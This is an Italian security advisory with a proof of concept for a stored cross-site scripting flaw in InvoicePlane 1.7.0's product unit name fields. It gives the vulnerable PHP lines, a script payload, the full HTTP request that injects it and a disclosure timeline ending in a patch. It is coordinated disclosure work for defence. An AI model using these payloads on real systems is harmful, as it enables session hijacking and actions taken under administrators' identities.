
Proof-of-concept per una vulnerabilità XSS persistente in InvoicePlane 1.7.0 tramite il campo del nome dell'unità di prodotto, incluse le posizioni del codice vulnerabile e i passaggi per la riproduzione.
Vulnerabilità: Cross-Site Scripting (XSS) persistente tramite il campo Nome Unità di Prodotto
Prodotto: InvoicePlane
Versione interessata: 1.7.0 (e probabilmente versioni precedenti)
Gravità: Media
Punteggio CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Neutralizzazione impropria dell'input durante la generazione di pagine web
Scoperta da: Leonidas Agathos
Data del report: 2026-01-31
I campi unit_name e unit_name_plrl nel modulo delle unità di prodotto (/index.php/units/form) accettano input arbitrari senza sanitizzazione. I valori vengono memorizzati e visualizzati senza codifica nell'elenco degli articoli di fattura quando si visualizza qualsiasi fattura contenente un prodotto che utilizza l'unità dannosa.
File vulnerabili:
application/modules/invoices/views/partial_itemlist_table.php:127application/modules/invoices/views/partial_itemlist_responsive.php:71// partial_itemlist_table.php - Linea 127
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
// partial_itemlist_responsive.php - Linea 71
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
Passaggio 1 — Iniettare il payload nel Nome Unità
Navigare su /index.php/units/form e inviare quanto segue come Nome Unità:
<script>alert("XSS in Product Unit")</script>
Richiesta:
POST /index.php/units/form/1 HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=1&unit_name=%3Cscript%3Ealert%28%22XSS+in+Product+Unit%22%29%3C%2Fscript%3E&unit_name_plrl=tests

Passaggio 2 — Attivare l'XSS
/index.php/products/form/1 o visualizzare qualsiasi fattura contenente il prodottoIl payload si attiva quando viene visualizzato l'elenco degli articoli.

Il payload viene eseguito nel browser di qualsiasi amministratore che visualizzi una fattura o una pagina di prodotto contenente l'unità dannosa. Ciò consente il dirottamento della sessione (se i cookie non sono HttpOnly), il furto dei token CSRF e azioni eseguite sotto l'identità della vittima.
| Data | Evento |
|---|---|
| 2026-01-30 | Vulnerabilità scoperta |
| 2026-01-31 | Prova di concetto sviluppata |
| 2026-01-31 | Fornitore notificato |
| 2026-02-04 | Riconoscimento da parte del fornitore |
| 2026-02-04 | Patch rilasciata |
| 2026-02-05 | Divulgazione pubblica |
Questa vulnerabilità è stata scoperta durante una ricerca di sicurezza indipendente. Tutte le informazioni sono fornite esclusivamente a scopo educativo, di ricerca e difensivo per assistere il fornitore e la comunità della sicurezza nella comprensione e nella risoluzione del problema. Qualsiasi uso dannoso di queste informazioni è severamente vietato.